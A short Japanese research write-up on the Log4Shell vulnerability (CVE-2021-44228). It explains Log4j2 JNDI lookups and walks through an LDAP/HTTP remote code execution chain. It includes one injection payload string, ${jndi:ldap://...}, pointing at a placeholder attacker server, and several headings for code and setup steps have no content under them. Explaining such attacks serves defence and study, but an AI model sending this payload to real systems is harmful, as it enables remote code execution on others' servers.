
CVE-2021-44228 脆弱性研究
以下は、log4shell脆弱性を悪用したリモートインジェクションの詳細なプロセスです。 まず、知っておくべき3つの部分があります。
Log4j2は、メッセージルックアップ置換と呼ばれる機能を使用してデータのログ記録を可能にします。これにより、ログメッセージにはさまざまなソースから動的に取得されたデータを含めることができます。(JNDIルックアップをサポート)
JNDIルックアップ: Java Naming and Directory Interface (JNDI) APIを介してデータを取得可能にします。このAPIはさまざまなディレクトリサービスと対話できます。

LDAP (Lightweight Directory Access Protocol): 主にネットワーク上のディレクトリ情報サービスへのアクセスと管理に使用されます。
以下はRemote Code Executionの簡単な例です:

ハッカーはLDAPサーバー(LDAPプロトコルでアクセスされ、Java悪意コードの参照を保持)とHTTPサーバー(悪意コードを保存する場所)の両方をセットアップします
コンパイルされた悪意コードを含むディレクトリにHTTPサーバーをセットアップします:

参照を保存するLDAPサーバーをセットアップします:

ハッカーは悪意のある入力(${jndi:ldap://LDAPSERVER IP:PORT/code})をlog4j2がインストールされたソフトウェアシステムに送信します

Log4j2はルックアップ機能を使用してLDAPサーバーにリクエストを送信します
LDAPサーバーはLDAPサーバーに保存されたJavaコード参照を介してHTTPサーバーにリクエストをリダイレクトします
HTTPサーバーは悪意コードをソフトウェアシステムに送り返し、ソフトウェアシステムはその悪意コードを実行します。
悪意コード:

悪意コードの実行に成功:

重要:
LDAPサーバーだけがリモートコード実行に使用できるわけではありません。log4j2がメッセージルックアップ置換を正常に行い、悪意コードを実行できる限り、他の方法(RMIなど)も使用できます。
Javaのバージョンが異なるとエクスプロイトプロセスが異なる場合があります(ここではjava 1.8u112を使用しています)。
悪意コードにはソフトウェア(log4j2を使用するサーバー)と同じJavaバージョンを使用するか、少なくともソフトウェアのJavaバージョンよりも高くないことを推奨します。

Log4j2のルックアップコード:
